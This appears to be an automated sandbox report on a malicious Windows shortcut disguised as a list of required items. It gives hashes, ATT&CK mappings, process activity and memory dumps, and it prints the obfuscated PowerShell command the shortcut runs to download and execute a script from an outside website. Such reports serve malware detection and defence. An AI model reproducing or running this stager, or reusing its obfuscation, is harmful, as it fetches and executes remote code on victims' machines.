01878422491a4d13dcf22acf10712bcae73b2b1eacc7775ecca26c65cc462875

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
06-07-2024 01:00

Target

List of Required items and services/List of Required items and services.lnk
Size

362.4MB
MD5

28e4eea484100de0e40bdf9e1fca6c56
SHA1

f576e0a276de1009256bacf81bc0fb4597b47eba
SHA256

b6580a25ecaa55b3f6c2eb77b6addd0392be804e48e238d74d9df6913108a762
SHA512

e7d5ae5e5d7c37ae6011d9ac1b4ea243533ce26b965c220aefba7e5159aded2b62407ac6abc83a44ba3d9a0390847a3fe44fb20783204a3613f0a15e59edf639
SSDEEP

24:8CpHYVKVW7/CWxpfDN/lrfq/GWB/GP/Gw8+8JmVCEFlhLEIfAxk7Z5:8sabJq/BB/s/mPJJc7Kk

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2528	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2528	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 2528	2504	cmd.exe	31
PID 2504 wrote to memory of 2528	2504	cmd.exe	31
PID 2504 wrote to memory of 2528	2504	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\List of Required items and services\List of Required items and services.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2504
- C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${g72p14} = $PSHOME;${*tc18kw.} = ${g72p14}[+52 -53 +1] + ${g72p14}[-11 +2] + 'A' + ${g72p14}[-66 +55];${xih.} = $([TYPE]${*tc18kw.});${*.p9nc2a.} = ${xih.}::ToString(+79 -1 -5)+${xih.}::ToString(+79 -1 -5 -4)+${xih.}::ToString(+79 +30 -10 +21);&(${*.p9nc2a.})(&(${*.p9nc2a.})(${g72p14}[+52 -53 +1]+'u'+${g72p14}[-66 +55]+${g72p14}[-61 +55]+' https://www.delpas.it/mo/qc.txt -UseBasicParsing'))
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2528-38-0x000007FEF6ABE000-0x000007FEF6ABF000-memory.dmp

Filesize
4KB

Download
memory/2528-39-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2528-40-0x00000000027D0000-0x00000000027D8000-memory.dmp

Filesize
32KB

Download
memory/2528-41-0x000007FEF6800000-0x000007FEF719D000-memory.dmp

Filesize
9.6MB

Download
memory/2528-42-0x000007FEF6800000-0x000007FEF719D000-memory.dmp

Filesize
9.6MB

Download
memory/2528-43-0x000007FEF6800000-0x000007FEF719D000-memory.dmp

Filesize
9.6MB

Download
memory/2528-44-0x000007FEF6800000-0x000007FEF719D000-memory.dmp

Filesize
9.6MB

Download